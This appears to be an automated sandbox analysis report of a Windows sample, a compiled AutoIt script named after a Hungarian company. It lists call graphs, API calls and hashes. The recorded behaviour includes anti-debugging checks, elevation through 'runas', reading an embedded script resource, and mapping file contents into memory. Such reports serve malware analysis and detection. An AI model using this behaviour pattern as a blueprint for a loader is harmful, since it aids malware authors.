102870->102871 102876 734a28 102870->102876 102872 734a1c 102871->102872 102873 737726 59 API calls 102872->102873 102873->102876 102874 734a93 GetCurrentProcess IsWow64Process 102875 734aac 102874->102875 102878 734ac2 102875->102878 102879 734b2b GetSystemInfo 102875->102879 102876->102874 102877 76d864 102876->102877 102890 734b37 102878->102890 102880 734af8 102879->102880 102880->102858 102883 734ad4 102886 734b37 2 API calls 102883->102886 102884 734b1f GetSystemInfo 102885 734ae9 102884->102885 102885->102880 102887 734aef FreeLibrary 102885->102887 102888 734adc GetNativeSystemInfo 102886->102888 102887->102880 102888->102885 102891 734ad0 102890->102891 102892 734b40 LoadLibraryA 102890->102892 102891->102883 102891->102884 102892->102891 102893 734b51 GetProcAddress 102892->102893 102893->102891 102894 196ba43 102895 196ba58 102894->102895 102903 19690e8 102895->102903 102897 196ba64 102898 196ba82 102897->102898 102899 196bb18 102897->102899 102906 196b728 102898->102906 102919 196c3c8 9 API calls 102899->102919 102902 196baff 102920 196c5d8 GetPEB 102903->102920 102905 1969773 102905->102897 102907 19690e8 GetPEB 102906->102907 102916 196b7c7 102907->102916 102909 196b7f8 CreateFileW 102915 196b805 102909->102915 102909->102916 102910 196b821 VirtualAlloc 102911 196b842 ReadFile 102910->102911 102910->102915 102914 196b860 VirtualAlloc 102911->102914 102911->102915 102912 196ba14 VirtualFree 102913 196ba22 102912->102913 102913->102902 102914->102915 102914->102916 102915->102912 102915->102913 102916->102910 102916->102915 102917 196b928 CloseHandle 102916->102917 102918 196b938 VirtualFree 102916->102918 102922 196c638 GetPEB 102916->102922 102917->102916 102918->102916 102919->102902 102921 196c602 102920->102921 102921->102905 102923 196c662 102922->102923 102923->102909 102924 731055 102929 732649 102924->102929 102927 752d40 __cinit 67 API calls 102928 731064 102927->102928 102930 737667 59 API calls 102929->102930 102931 7326b7 102930->102931 102936 733582 102931->102936 102933 732754 102934 73105a 102933->102934 102939 733416 59 API calls 2 library calls 102933->102939 102934->102927 102940 7335b0 102936->102940 102939->102933 102941 7335a1 102940->102941 102942 7335bd 102940->102942 102941->102933 102942->102941 102943 7335c4 RegOpenKeyExW 102942->102943 102943->102941 102944 7335de RegQueryValueExW 102943->102944 102945 733614 RegCloseKey 102944->102945 102946 7335ff 102944->102946 102945->102941 102946->102945 102947 77416f 102951 785fe6 102947->102951 102949 77417a 102950 785fe6 85 API calls 102949->102950 102950->102949 102956 785ff3 102951->102956 102961 786020 102951->102961 102952 786022 102963 739328 84 API calls Mailbox 102952->102963 102953 786027 102955 739837 84 API calls 102953->102955 102957 78602e 102955->102957 102956->102952 102956->102953 102959 78601a 102956->102959 102956->102961 102958 737b2e 59 API calls 102957->102958 102958->102961 102962 7395a0 59 API calls _wcsstr 102959->102962 102961->102949 102962->102961 102963->102953 102964 76fdfc 102998 73ab30 Mailbox _memmove 102964->102998 102970 73b525 103031 799e4a 89 API calls 4 library calls 102970->103031 102971 770055 103030 799e4a 89 API calls 4 library calls 102971->103030 102974 73b475 102979 738047 59 API calls 102974->102979 102976 770064 102977 750db6 59 API calls Mailbox 102991 739f37 Mailbox 102977->102991 102978 738047 59 API calls 102978->102991 102989 73a057 102979->102989 102981 73b47a 102981->102971 102992 7709e5 102981->102992 102984 737667 59 API calls 102984->102991 102985 786e8f 59 API calls 102985->102991 102986 752d40 67 API calls __cinit 102986->102991 102987 737de1 59 API calls 102987->102998 102988 7709d6 103036 799e4a 89 API calls 4 library calls 102988->103036 102991->102971 102991->102974 102991->102977 102991->102978 102991->102981 102991->102984 102991->102985 102991->102986 102991->102988 102991->102989 102993 73a55a 102991->102993 103019 73c8c0 331 API calls 2 library calls 102991->103019 103020 73b900 60 API calls Mailbox 102991->103020 103037 799e4a 89 API calls 4 library calls 102992->103037 103035 799e4a 89 API calls 4 library calls 102993->103035 102996 750db6 59 API calls Mailbox 102996->102998 102997 73b2b6 103024 73f6a3 331 API calls 102997->103024 102998->102970 102998->102987 102998->102989 102998->102991 102998->102996 102998->102997 103000 739ea0 331 API calls 102998->103000 103001 77086a 102998->103001 103003 770878 102998->103003 103005 77085c 102998->103005 103006 73b21c 102998->103006 103010 786e8f 59 API calls 102998->103010 103013 7adf23 102998->103013 103016 7adf37 102998->103016 103021 739c90 59 API calls Mailbox 102998->103021 103025 7ac193 85 API calls 2 library calls 102998->103025 103026 7ac2e0 96 API calls Mailbox 102998->103026 103027 797956 59 API calls Mailbox 102998->103027 103028 7abc6b 331 API calls Mailbox 102998->103028 103029 78617e 59 API calls Mailbox 102998->103029 103000->102998 103033 739c90 59 API calls Mailbox 103001->103033 103034 799e4a 89 API calls 4 library calls 103003->103034 103005->102989 103032 78617e 59 API calls Mailbox 103005->103032 103022 739d3c 60 API calls Mailbox 103006->103022 103008 73b22d 103023 739d3c 60 API calls Mailbox 103008->103023 103010->102998 103038 7acadd 103013->103038 103015 7adf33 103015->102998 103017 7acadd 130 API calls 103016->103017 103018 7adf47 103017->103018 103018->102998 103019->102991 103020->102991 103021->102998 103022->103008 103023->102997 103024->102970 103025->102998 103026->102998 103027->102998 103028->102998 103029->102998 103030->102976 103031->103005 103032->102989 103033->103005 103034->103005 103035->102989 103036->102992 103037->102989 103039 739837 84 API calls 103038->103039 103040 7acb1a 103039->103040 103059 7acb61 Mailbox 103040->103059 103076 7ad7a5 103040->103076 103042 7acdb9 103043 7acf2e 103042->103043 103047 7acdc7 103042->103047 103115 7ad8c8 92 API calls Mailbox 103043->103115 103046 7acf3d 103046->103047 103049 7acf49 103046->103049 103089 7ac96e 103047->103089 103048 739837 84 API calls 103066 7acbb2 Mailbox 103048->103066 103049->103059 103054 7ace00 103104 750c08 103054->103104 103057 7ace1a 103110 799e4a 89 API calls 4 library calls 103057->103110 103058 7ace33 103061 7392ce 59 API calls 103058->103061 103059->103015 103062 7ace3f 103061->103062 103064 739050 59 API calls 103062->103064 103063 7ace25 GetCurrentProcess TerminateProcess 103063->103058 103065 7ace55 103064->103065 103067 7ace7c 103065->103067 103111 738d40 59 API calls Mailbox 103065->103111 103066->103042 103066->103048 103066->103059 103108 7afbce 59 API calls 2 library calls 103066->103108 103109 7acfdf 61 API calls 2 library calls 103066->103109 103069 7acfa4 103067->103069 103113 738d40 59 API calls Mailbox 103067->103113 103114 739d3c 60 API calls Mailbox 103067->103114 103116 7ad649 107 API calls _free 103067->103116 103069->103059 103073 7acfb8 FreeLibrary 103069->103073 103070 7ace6b 103112 7ad649 107 API calls _free 103070->103112 103073->103059 103077 737e4f 59 API calls 103076->103077 103078 7ad7c0 CharLowerBuffW 103077->103078 103117 78f167 103078->103117 103082 737667 59 API calls 103083 7ad7f9 103082->103083 103084 73784b 59 API calls 103083->103084 103085 7ad810 103084->103085 103086 737d2c 59 API calls 103085->103086 103087 7ad81c Mailbox 103086->103087 103088 7ad858 Mailbox 103087->103088 103124 7acfdf 61 API calls 2 library calls 103087->103124 103088->103066 103090 7ac989 103089->103090 103094 7ac9de 103089->103094 103091 750db6 Mailbox 59 API calls 103090->103091 103093 7ac9ab 103091->103093 103092 750db6 Mailbox 59 API calls 103092->103093 103093->103092 103093->103094 103095 7ada50 103094->103095 103096 7adc79 Mailbox 103095->103096 103103 7ada73 _strcat _wcscpy __wsetenvp 103095->103103 103096->103054 103097 739b98 59 API calls 103097->103103 103098 739be6 59 API calls 103098->103103 103099 739b3c 59 API calls 103099->103103 103100 739837 84 API calls 103100->103103 103101 75571c 58 API calls _W_store_winword 103101->103103 103103->103096 103103->103097 103103->103098 103103->103099 103103->103100 103103->103101 103127 795887 61 API calls 2 library calls 103103->103127 103106 750c1d 103104->103106 103105 750cb5 VirtualProtect 103107 750c83 103105->103107 103106->103105 103106->103107 103107->103057 103107->103058 103108->103066 103109->103066 103110->103063 103111->103070 103112->103067 103113->103067 103114->103067 103115->103046 103116->103067 103119 78f192 __wsetenvp 103117->103119 103118 78f1d1 103118->103082 103118->103087 103119->103118 103120 78f278 103119->103120 103121 78f1c7 103119->103121 103120->103118 103126 7378c4 61 API calls 103120->103126 103121->103118 103125 7378c4 61 API calls 103121->103125 103124->103088 103125->103121 103126->103120 103127->103103 103128 73107d 103133 73708b 103128->103133 103130 73108c 103131 752d40 __cinit 67 API calls 103130->103131 103132 731096 103131->103132 103134 73709b __write_nolock 103133->103134 103135 737667 59 API calls 103134->103135 103136 737151 103135->103136 103137 734706 61 API calls 103136->103137 103138 73715a 103137->103138 103164 75050b 103138->103164 103141 737cab 59 API calls 103142 737173 103141->103142 103143 733f74 59 API calls 103142->103143 103144 737182 103143->103144 103145 737667 59 API calls 103144->103145 103146 73718b 103145->103146 103147 737d8c 59 API calls 103146->103147 103148 737194 RegOpenKeyExW 103147->103148 103149 76e8b1 RegQueryValueExW 103148->103149 103153 7371b6 Mailbox 103148->103153 103150 76e943 RegCloseKey 103149->103150 103151 76e8ce 103149->103151 103150->103153 103163 76e955 _wcscat Mailbox __wsetenvp 103150->103163 103152 750db6 Mailbox 59 API calls 103151->103152 103154 76e8e7 103152->103154 103153->103130 103156 73522e 59 API calls 103154->103156 103155 7379f2 59 API calls 103155->103163 103157 76e8f2 RegQueryValueExW 103156->103157 103158 76e90f 103157->103158 103160 76e929 103157->103160 103159 737bcc 59 API calls 103158->103159 103159->103160 103160->103150 103161 737de1 59 API calls 103161->103163 103162 733f74 59 API calls 103162->103163 103163->103153 103163->103155 103163->103161 103163->103162 103165 761940 __write_nolock 103164->103165 103166 750518 GetFullPathNameW 103165->103166 103167 75053a 103166->103167 103168 737bcc 59 API calls 103167->103168 103169 737165 103168->103169 103169->103141 103170 196b498 103171 19690e8 GetPEB 103170->103171 103172 196b5ae 103171->103172 103184 196b388 103172->103184 103185 196b391 Sleep 103184->103185 103186 196b39f 103185->103186

                                                              Executed Functions

                                                              Function 00733B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00733B68
                                                              • IsDebuggerPresent.KERNEL32 ref: 00733B7A
                                                              • GetFullPathNameW.KERNEL32(00007FFF,?,?,007F52F8,007F52E0,?,?), ref: 00733BEB
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                                • Part of subcall function 0074092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00733C14,007F52F8,?,?,?), ref: 0074096E
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00733C6F
                                                              • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,007E7770,00000010), ref: 0076D281
                                                              • SetCurrentDirectoryW.KERNEL32(?,007F52F8,?,?,?), ref: 0076D2B9
                                                              • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,007E4260,007F52F8,?,?,?), ref: 0076D33F
                                                              • ShellExecuteW.SHELL32(00000000,?,?), ref: 0076D346
                                                                • Part of subcall function 00733A46: GetSysColorBrush.USER32(0000000F), ref: 00733A50
                                                                • Part of subcall function 00733A46: LoadCursorW.USER32(00000000,00007F00), ref: 00733A5F
                                                                • Part of subcall function 00733A46: LoadIconW.USER32(00000063), ref: 00733A76
                                                                • Part of subcall function 00733A46: LoadIconW.USER32(000000A4), ref: 00733A88
                                                                • Part of subcall function 00733A46: LoadIconW.USER32(000000A2), ref: 00733A9A
                                                                • Part of subcall function 00733A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00733AC0
                                                                • Part of subcall function 00733A46: RegisterClassExW.USER32(?), ref: 00733B16
                                                                • Part of subcall function 007339D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00733A03
                                                                • Part of subcall function 007339D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00733A24
                                                                • Part of subcall function 007339D5: ShowWindow.USER32(00000000,?,?), ref: 00733A38
                                                                • Part of subcall function 007339D5: ShowWindow.USER32(00000000,?,?), ref: 00733A41
                                                                • Part of subcall function 0073434A: _memset.LIBCMT ref: 00734370
                                                                • Part of subcall function 0073434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00734415
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                              • String ID: This is a third-party compiled AutoIt script.$runas$%|
                                                              • API String ID: 529118366-4059233762
                                                              • Opcode ID: 6ca23c06deb86c67b8ce0fc433e1f3245d912ede221a697c3efe54a7103ab516
                                                              • Instruction ID: 4ee4fcf1469e152b6b83780822831f1cc4c97776ebbbd4c4869449543cded38c
                                                              • Opcode Fuzzy Hash: 6ca23c06deb86c67b8ce0fc433e1f3245d912ede221a697c3efe54a7103ab516
                                                              • Instruction Fuzzy Hash: D051D6B1E08148EEEB25EBB4DC09EFD7B78BF04700F008165F651A62A3DA7C5645CB25
                                                              Function 007349A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetVersionExW.KERNEL32(?), ref: 007349CD
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              • GetCurrentProcess.KERNEL32(?,007BFAEC,00000000,00000000,?), ref: 00734A9A
                                                              • IsWow64Process.KERNEL32(00000000), ref: 00734AA1
                                                              • GetNativeSystemInfo.KERNELBASE(00000000), ref: 00734AE7
                                                              • FreeLibrary.KERNEL32(00000000), ref: 00734AF2
                                                              • GetSystemInfo.KERNEL32(00000000), ref: 00734B23
                                                              • GetSystemInfo.KERNEL32(00000000), ref: 00734B2F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                              • String ID:
                                                              • API String ID: 1986165174-0
                                                              • Opcode ID: 1a369436e848a6ccf17ab6d8f710f81d526d5367b7dc2fcc5897b0f0152dc619
                                                              • Instruction ID: daa41986e9e997ff34f2491e37883bc0259a331607a4edfb3fa5a0c4812e31e0
                                                              • Opcode Fuzzy Hash: 1a369436e848a6ccf17ab6d8f710f81d526d5367b7dc2fcc5897b0f0152dc619
                                                              • Instruction Fuzzy Hash: 6E91D5319897C5DED735CB7888545AAFFF5AF2A300F448A6DD0C793A02D228B908C75E
                                                              Function 00734E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00734D8E,?,?,00000000,00000000), ref: 00734E99
                                                              • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00734D8E,?,?,00000000,00000000), ref: 00734EB0
                                                              • LoadResource.KERNEL32(?,00000000,?,?,00734D8E,?,?,00000000,00000000,?,?,?,?,?,?,00734E2F), ref: 0076D937
                                                              • SizeofResource.KERNEL32(?,00000000,?,?,00734D8E,?,?,00000000,00000000,?,?,?,?,?,?,00734E2F), ref: 0076D94C
                                                              • LockResource.KERNEL32(00734D8E,?,?,00734D8E,?,?,00000000,00000000,?,?,?,?,?,?,00734E2F,00000000), ref: 0076D95F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                              • String ID: SCRIPT
                                                              • API String ID: 3051347437-3967369404
                                                              • Opcode ID: 76f2c0ba266d409222d2fde68e72076d2d3bd64928ddc47726a45e6bc5ddf446
                                                              • Instruction ID: e6cd226906c83dd49a3b76b505fe0eb70ff76f8c75abe106e960c9d183459876
                                                              • Opcode Fuzzy Hash: 76f2c0ba266d409222d2fde68e72076d2d3bd64928ddc47726a45e6bc5ddf446
                                                              • Instruction Fuzzy Hash: 04115A75240700BFE7258B65EC48F6B7BBAFBC5B11F208268F446D6250DB65EC008A60
                                                              Function 0073FCE0 Relevance: 8.0, APIs: 3, Strings: 1, Instructions: 1040COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpper
                                                              • String ID: %|
                                                              • API String ID: 3964851224-1433500012
                                                              • Opcode ID: a58c50058f23c75cb60ee84de9addf99491f9be2a5a5a67db0e6e3e8cea2b2b2
                                                              • Instruction ID: b5a3855b11b49a50fb4dbef646338667867b080ccd3e60c4d60a36e455faf11a
                                                              • Opcode Fuzzy Hash: a58c50058f23c75cb60ee84de9addf99491f9be2a5a5a67db0e6e3e8cea2b2b2
                                                              • Instruction Fuzzy Hash: D6928B70608341DFDB20DF24C484B2AB7E1BF85344F15892DE99A9B362D779EC45CB92
                                                              Function 0079445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNELBASE(?,0076E398), ref: 0079446A
                                                              • FindFirstFileW.KERNELBASE(?,?), ref: 0079447B
                                                              • FindClose.KERNEL32(00000000), ref: 0079448B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FileFind$AttributesCloseFirst
                                                              • String ID:
                                                              • API String ID: 48322524-0
                                                              • Opcode ID: fc9edaf2b44ec5e4ab54139f53209fb8a7a34054a3d3e8c450b5dc3401948bda
                                                              • Instruction ID: 2864c79e184326cf04cce318691af1e78c2b1528eba020070064c3574d34baa5
                                                              • Opcode Fuzzy Hash: fc9edaf2b44ec5e4ab54139f53209fb8a7a34054a3d3e8c450b5dc3401948bda
                                                              • Instruction Fuzzy Hash: 58E0D8324105406746146B38FC0DDED779CAE05735F104715F835C21E0E77C59009599
                                                              Function 007409D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00740A5B
                                                              • timeGetTime.WINMM ref: 00740D16
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00740E53
                                                              • Sleep.KERNEL32(0000000A), ref: 00740E61
                                                              • LockWindowUpdate.USER32(00000000,?,?), ref: 00740EFA
                                                              • DestroyWindow.USER32 ref: 00740F06
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00740F20
                                                              • Sleep.KERNEL32(0000000A,?,?), ref: 00774E83
                                                              • TranslateMessage.USER32(?), ref: 00775C60
                                                              • DispatchMessageW.USER32(?), ref: 00775C6E
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00775C82
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                                              • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                              • API String ID: 4212290369-3242690629
                                                              • Opcode ID: 8aa19ca283594a582f10197a18648ef19212fcbc7cfcfad492b006b5f3e7e1c4
                                                              • Instruction ID: f360fb86dcf8e6fbe11a38e614185a65bd879b16ca91cb6cfcb9f6c30f65f8a3
                                                              • Opcode Fuzzy Hash: 8aa19ca283594a582f10197a18648ef19212fcbc7cfcfad492b006b5f3e7e1c4
                                                              • Instruction Fuzzy Hash: F3B2C370608741DFDB24DF24C888BAAB7E4BF84344F14891DE699972A1D7BDE844CB92
                                                              Function 00799155 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00798F5F: __time64.LIBCMT ref: 00798F69
                                                                • Part of subcall function 00734EE5: _fseek.LIBCMT ref: 00734EFD
                                                              • __wsplitpath.LIBCMT ref: 00799234
                                                                • Part of subcall function 007540FB: __wsplitpath_helper.LIBCMT ref: 0075413B
                                                              • _wcscpy.LIBCMT ref: 00799247
                                                              • _wcscat.LIBCMT ref: 0079925A
                                                              • __wsplitpath.LIBCMT ref: 0079927F
                                                              • _wcscat.LIBCMT ref: 00799295
                                                              • _wcscat.LIBCMT ref: 007992A8
                                                                • Part of subcall function 00798FA5: _memmove.LIBCMT ref: 00798FDE
                                                                • Part of subcall function 00798FA5: _memmove.LIBCMT ref: 00798FED
                                                              • _wcscmp.LIBCMT ref: 007991EF
                                                                • Part of subcall function 00799734: _wcscmp.LIBCMT ref: 00799824
                                                                • Part of subcall function 00799734: _wcscmp.LIBCMT ref: 00799837
                                                              • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00799452
                                                              • _wcsncpy.LIBCMT ref: 007994C5
                                                              • DeleteFileW.KERNEL32(?,?), ref: 007994FB
                                                              • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00799511
                                                              • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00799522
                                                              • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00799534
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                              • String ID:
                                                              • API String ID: 1500180987-0
                                                              • Opcode ID: b3b3c3042f68cd91a5a3f913322384c6559ce04ecb9b6bec6e0c8085b3883362
                                                              • Instruction ID: 0c9418dd9c8d4391f2296c10e146bb2966ed02ce8f040d97e43839c9d6eadc96
                                                              • Opcode Fuzzy Hash: b3b3c3042f68cd91a5a3f913322384c6559ce04ecb9b6bec6e0c8085b3883362
                                                              • Instruction Fuzzy Hash: 4DC15DB1D00219ABEF21DF94DC89EDEB7BDEF45300F0040AAF609E6151EB749A848F65
                                                              Function 0073301C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00733074
                                                              • RegisterClassExW.USER32(00000030), ref: 0073309E
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007330AF
                                                              • InitCommonControlsEx.COMCTL32(?), ref: 007330CC
                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007330DC
                                                              • LoadIconW.USER32(000000A9), ref: 007330F2
                                                              • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00733101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                              • API String ID: 2914291525-1005189915
                                                              • Opcode ID: 3a49fdd8c91009eeb27a3baf028b96266578e303df6985a1a20dff3b6d634459
                                                              • Instruction ID: 2f8480eacb6208317be211d33dfc3d1a1cdf015783a9a179487e3537f77a7bef
                                                              • Opcode Fuzzy Hash: 3a49fdd8c91009eeb27a3baf028b96266578e303df6985a1a20dff3b6d634459
